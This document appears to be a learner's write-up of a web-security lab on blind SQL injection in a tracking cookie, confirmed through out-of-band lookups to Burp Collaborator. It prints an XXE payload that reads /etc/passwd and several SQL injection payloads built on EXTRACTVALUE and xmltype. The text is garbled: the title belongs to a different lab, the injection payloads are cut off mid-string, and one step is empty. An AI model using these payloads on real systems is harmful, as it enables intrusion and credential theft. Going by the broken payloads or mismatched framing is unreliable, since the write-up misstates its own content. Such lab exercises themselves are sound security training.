User ID controlled by request parameter, with unpredictable user IDs

🎯 Objective

This lab contains a blind SQL injection vulnerability.
The application uses a tracking cookie for analytics and performs an SQL query containing the value of the submitted cookie.

• The SQL query is executed asynchronously and has no effect on the application's response.
• However, out-of-band (OOB) interactions with an external domain can be triggered.

Database context:

• Table: users
• Columns: username, password
• Goal: Extract the password of the administrator user and log in.

📝 End Goals

1. Exploit the blind SQL injection in the tracking cookie.
2. Retrieve the password of the administrator user.
3. Log in as administrator.

🔎 Analysis

Detour into XXE

At first, I explored XML External Entity (XXE) injection concepts to refresh understanding:

• What is XXE?
  Vulnerability allowing attackers to inject external entities into XML parsers.
  Useful for reading files, SSRF, and privilege escalation.

• Example Payload (file disclosure):

  xml Copy

  <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
  <stockCheck>
      <productId>&xxe;</productId>
  </stockCheck>

• Server Response Example:

  text Copy

  Invalid product ID: root:x:0:0:root:/root:/bin/bash ...

This provided background but the vulnerability in the lab is SQLi, not XXE.

Step 1: Testing OOB with Burp Collaborator

Payload attempt with UNION and EXTRACTVALUE:

TrackingId=x' UNION SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual--

Step 2: Ordering Tests

Confirmed behavior with ORDER BY checks to understand query structure:

Step 3: Alternative Payloads

Also tested concatenated payloads such as:

'|| (SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual)--

This produced successful OOB interactions through DNS lookups, confirming vulnerability.

🎉 Result

• Verified blind SQLi in tracking cookie.
• Triggered OOB interactions with Burp Collaborator.
• Path forward: extract administrator password via iterative OOB queries. ✅